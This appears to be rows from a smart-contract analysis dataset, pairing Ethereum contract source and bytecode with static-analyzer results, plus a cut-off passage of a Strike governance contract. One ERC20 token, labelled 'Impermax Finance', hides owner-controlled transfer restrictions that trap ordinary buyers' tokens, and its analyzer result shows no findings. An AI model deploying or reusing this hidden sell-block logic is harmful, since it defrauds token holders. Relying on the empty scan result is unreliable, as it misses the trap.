a565b15156105e357600080fd5b600160a060020a0384811660008181526007602090815260408083204290556008909152908190208054600160a060020a03191693871693841790557fb7b4557c664a8a4a9a57f5e00f216de044a96f96fc84b70eaa6bd48cb078454190889051600160a060020a03909116815260200160405180910390a35b5b50505b505050565b60035433600160a060020a0390811691161480610687575061068733611237565b5b151561069357600080fd5b818361069f828261079a565b15156106aa57600080fd5b600254600160a060020a038086166000908152600660209081526040808320938a168352929052205485918791429190910390106106e757600080fd5b600160a060020a0380831660009081526006602090815260408083208585168452909152902042905585908116151561071f57600080fd5b600160a060020a03878116600081815260056020526040908190208054600160a060020a031916938a1693841790557fbd1ad05c16aafa75ac8c1d6b8264f47ad9f3045596f667c9476f3f749c018709908b9051600160a060020a03909116815260200160405180910390a35b5b505b50505b50505b505050565b600160a060020a03808316600090815260046020908152604080832093851683529290529081205481901180156107fb575060008054600160a060020a03808616835260046020908152604080852092871685529190529091205442910111155b90505b92915050565b600083600160a060020a038116151561081c57600080fd5b61082461125f565b604051809103906000f080151561083a57600080fd5b60008054600160a060020a038381168084526004602090815260408086208d851687528252808620429590950390945581855260059052928290208054600160a060020a0319168a8316908117909155939550331691907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee6266908a9051600160a060020a03909116815260200160405180910390a481600160a060020a031663d7f31eb9856000866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561094f5780820151818401525b602001610936565b50505050905090810190601f16801561097c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561099c57600080fd5b6102c65a03f115156109ad57600080fd5b5050505b5b505050505050565b600860205260009081526040902054600160a060020a031681565b60035433600160a060020a03908116911614806109f657506109f633611237565b5b1515610a0257600080fd5b8385610a0e8282610d23565b1515610a1957600080fd5b85600160a060020a031663d7f31eb98686866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a995780820151818401525b602001610a80565b50505050905090810190601f168015610ac65780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610ae657600080fd5b6102c65a03f11515610af757600080fd5b5050505b5b50505b5050505050565b60035433600160a060020a0390811691161480610b275750610b2733611237565b5b1515610b3357600080fd5b600160a060020a0380831660009081526005602052604090205483918591811690821614610b6057600080fd5b600254600160a060020a038086166000908152600660209081526040808320938a16835292905220548591879142919091039010610b9d57600080fd5b600160a060020a038083166000908152600660209081526040808320938516835292905220429055610bcf8686610d23565b15610bd957600080fd5b600160a060020a038087166000818152600460209081526040808320948a1680845294909152908190204290557f8672e8532f3edff41d3acf0cd4be6ff900e427461b81d094f0197354471cb3c6908a9051600160a060020a03909116815260200160405180910390a35b5b50505b50505b505050565b80600160a060020a0381161515610c6657600080fd5b600160a060020a033381166000908152600560205260409020541615610c8b57600080fd5b60008054600160a060020a0333811680845260046020908152604080862089851687528252808620429590950390945581855260059052928290208054918616600160a060020a031990921682179055919081907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee626690879051600160a060020a03909116815260200160405180910390a45b5b505050565b600160a060020a03808316600090815260046020908152604080832093851683529290529081205481901180156107fb5750600154600160a060020a0380851660009081526004602090815260408083209387168352929052205442910111155b90505b92915050565b60035460009033600160a060020a0390811691161480610db15750610db133611237565b5b1515610dbd57600080fd5b8183610dc98282610d23565b1515610dd457600080fd5b600160a060020a03808516600081815260086020818152604080842080546007845282862095909555929091528154600160a060020a0319169091559216945084917f60e805c5650597523aba29fb00a59c856d925c672bce1ea7d579f03aef3a10ce90889051600160a060020a03909116815260200160405180910390a35b5b50505b505050565b60035433600160a060020a0390811691161480610e7e5750610e7e33611237565b5b1515610e8a57600080fd5b8183610e96828261079a565b1515610ea157600080fd5b600254600160a060020a038086166000908152600660209081526040808320938a16835292905220548591879142919091039010610ede57600080fd5b600160a060020a038083166000908152600660209081526040808320938516835292905220429055610f108686610d23565b15610f1a57600080fd5b600154600160a060020a038088166000818152600460209081526040808320948b168084529490915290819020429490940390935590917f8672e8532f3edff41d3acf0cd4be6ff900e427461b81d094f0197354471cb3c6908a9051600160a060020a03909116815260200160405180910390a35b5b50505b50505b505050565b60035460009033600160a060020a0390811691161480610fbf5750610fbf33611237565b5b1515610fcb57600080fd5b8183610fd7828261079a565b1515610fe257600080fd5b600160a060020a03841660009081526007602052604090205415801590611024575060008054600160a060020a03861682526007602052604090912054429101105b151561102f57600080fd5b600160a060020a03808516600081815260086020818152604080842080546007845282862095909555929091528154600160a060020a0319169091559216945090631a6952309085905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156110b457600080fd5b6102c65a03f115156110c557600080fd5b505050600160a060020a0380851660008181526005602090815260408083208054600160a060020a0319169055600482528083208a8616845290915280822091909155918516917f565ed5a2d5e196b82acb6ff1149b699c2b13169c7d34412d736d3c380de64f3190889051600160a060020a03909116815260200160405180910390a35b5b50505b505050565b60076020526000908152604090205481565b600081600160a060020a038116151561117d57600080fd5b61118561125f565b604051809103906000f080151561119b57600080fd5b60008054600160a060020a038381168084526004602090815260408086208b851687528252808620429590950390945581855260059052928290208054600160a060020a031916888316908117909155939550331691907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee626690889051600160a060020a03909116815260200160405180910390a45b5b50505050565b6000602436101561124a5750600061125a565b50600435600160a060020a031681145b919050565b60405161035f8061127083390190560060606040525b60008054600160a060020a03191633600160a060020a03161790555b5b61032e806100316000396000f3006060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631a69523081146100a05780632f54bf6e146100c15780638da5cb5b146100f4578063d7f31eb914610123575b5b33600160a060020a03167f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258743460405190815260200160405180910390a25b005b34156100ab57600080fd5b61009e600160a060020a036004351661018a565b005b34156100cc57600080fd5b6100e0600160a060020a03600435166101e7565b604051901515815260200160405180910390f35b34156100ff57600080fd5b6101076101fe565b604051600160a060020a03909116815260200160405180910390f35b341561012e57600080fd5b61009e60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061020d95505050505050565b005b610193336101e7565b151561019e57600080fd5b30600160a060020a031681600160a060020a03161415156101e2576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600054600160a060020a038281169116145b919050565b600054600160a060020a031681565b610216336101e7565b151561022157600080fd5b61022c8383836102e9565b151561023757600080fd5b82600160a060020a03167fc1de93dfa06362c6a616cde73ec17d116c0d588dd1df70f27f91b500de207c41838360405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156102a75780820151818401525b60200161028e565b50505050905090810190601f1680156102d45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25b5b505050565b600080600083516020850186885af190505b93925050505600a165627a7a7230582097e465c17bc91025ba03565b8755ae5d6185ebe97784df6ad83fe3998bd730850029a165627a7a72305820a4a9b4926693b46862c2a6722262d74d022d5c7d7f106531c31bb30d216a83f10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 855 |
0x878440b022e0a96f4eee947e0dce5fd4ec38e1d8 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Impermax Finance
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205244cad7c025d9ee15642d3f5862fcfa35b463d496d8fc240656d039cb4f03e964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 856 |
0x3cff877b731f9F77ba5e23A15a4AAa2aD894B304 | /**
*Submitted for verification at Etherscan.io on 2021-03-29
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Strike Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 260753e18; } // 260753 = 4% of STRK
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 65188e18; } // 65188 = 1% of STRK
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Strike Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Strike governance token
StrkInterface public strk;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
